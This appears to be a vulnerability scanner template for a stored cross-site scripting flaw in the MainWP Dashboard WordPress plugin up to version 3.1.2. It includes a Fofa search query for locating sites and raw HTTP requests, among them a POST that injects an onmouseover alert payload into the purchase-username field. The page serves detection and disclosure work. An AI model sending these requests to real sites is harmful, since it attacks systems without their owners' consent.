| Title | MainWP Dashboard <= 3.1.2 - Stored Cross-Site Scripting |
|---|---|
| Author | flame |
| Severity | High |
| Impact | Unauthenticated attackers can inject scripts that execute in users' browsers, potentially leading to session hijacking, defacement, or redirection. |
| Remediation | Update to the latest version of the plugin that addresses this vulnerability. |
| Fofa Query | /wp-content/plugins/mainwp/ |
| Tags | cve cve2016 mainwp wordpress xss wp wp-plugin kev vkev |
MainWP Dashboard – The Private WordPress Manager for Multiple Website Maintenance plugin for WordPress versions up to 3.1.2 contains a stored cross-site scripting caused by insufficient input sanitization and output escaping in ‘mwp_setup_purchase_username’ parameter, letting unauthenticated attackers inject and execute arbitrary scripts when users access affected pages.
GET /wp-content/plugins/mainwp-vuln/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18363
Connection: close
Accept-Encoding: gzip
GET /wp-admin/admin-post.php?page=mainwp-setup&step=purchase_extension HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-post.php?page=mainwp-setup&step=purchase_extension&_wpnonce=6x0cxi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_2; en) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.18
Connection: close
Content-Length: 142
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
mwp_setup_purchase_username=38FhaZoWVEOYs2ihPoGIwmbDSCx"+onmouseover%3Dalert(document.domain)+x%3D"&mwp_setup_purchase_passwd=test&save_step=1
GET /wp-admin/admin-post.php?page=mainwp-setup&step=purchase_extension HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/16.2 Safari/537.36
Connection: close
Accept-Encoding: gzip
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